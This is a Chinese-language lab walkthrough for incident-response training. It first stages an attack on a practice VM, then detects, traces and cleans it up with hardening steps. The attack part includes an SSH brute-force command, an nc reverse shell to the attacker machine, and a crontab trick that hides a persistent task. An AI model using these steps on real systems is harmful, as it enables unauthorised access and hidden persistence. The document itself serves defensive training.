首先准备两台机器,一台作为攻击机,一台作为靶机
攻击机:192.168.48.138
靶机:192.168.48.135
1.信息收集
使用nmap扫描目标主机的端口
nmap 192.168.48.135
发现开启了22号端口,尝试进行爆破
2.爆破ssh
使用hydra(九头蛇)进行爆破,也可以用msf、美杜莎进行爆破,详细hydra内容请看
hydra -L users.txt -P password.txt ssh://192.168.48.135
3.登录ssh
4.尝试创建隐藏计划任务
进入 /tmp 目录,vim创建xx.sh文件------>>>task.sh
文件内容写
#! /bin/bash
nc 192.168.48.138 8888 -e /bin/bash ----nc反弹shell
接着查看权限:ls -l task.sh增加可执行权限:chmod +x task.sh 或者chmod 777 task.sh
接着vim创建一个隐藏文件create_task.sh,文件内容(crontab -l;printf "* * * * * /tmp/task.sh;\rno crontw-wab for `whoami` %100c\n") |crontab-
解释:查看计划任务,输出***,每隔一分钟执行task.sh文件,\r换行符,创建计划任务
同样在此加上执行权限:chmod +x create_task.sh
最后开启此文件: ./create_task.sh
注意:由于我们创建的是隐藏的计划任务,所以在执行此文件时,会返回提示信息
5.尝试nc连接目标主机的shell
接着在攻击机上开启一个终端,利用nc反弹shell进行连接
开启监听:nc -lvp 8888
创建计划任务目的:权限维持,更好方便我们连接
应急响应过程
1.事件排查,查看网络情况
netstat -antpl
2.查看守护进程,发现计划任务
pstree -p //查看进程树
systemctl status 193250(pid) //查看具体进程
3.查看计划任务
crontab -l //普通命令未发现有计划任务,可能是计划隐藏任务
cat -A /var/spool/cron/crontabs/root //查看计划任务
4.找到task.sh文件
ls -l /tmp/task.sh //查看上传的文件的时间
cat /tmp/task.sh //查看上传文件的内容,发现是通过nc反弹shell
溯源分析
1.分析任务文件task.sh
ls -l /tmp/task.sh //查看上传的文件的时间
2.查看登录日志
last -f /var/log/wtmp //登录成功的日志
last -f /var/log/btmp //登录失败的日志
3.总结
爆破时间、爆破账号、攻击者ip
事件处置
1.删除计划任务,结束异常进程
crontab -r -u root //删除隐藏计划任务
cat -A /var/spool/cron/crontabs/root //检查计划任务是否删除成功
kill 193250 //杀死恶意进程
2.删除恶意文件
rm task.sh
rm create_task.sh
3.修改密码,关闭root用户远程连接权限
passwd root //修改root密码
vim /etc/ssh/sshd_config //关闭root用户远程连接权限,修改PermitRootLogin为no,增强权限控制
4.修改ssh默认端口
vim /etc/ssh/sshd_config //将22端口修改成其他端口,并将#删掉
总体来说,应急响应的过程都是类似的,知识上面的细节不一样,大家根据靶场去学习不同的知识,对大家是很有帮助的[护网训练]应急响应靶机整理 (qq.com) 以上给大家提供应急响应靶场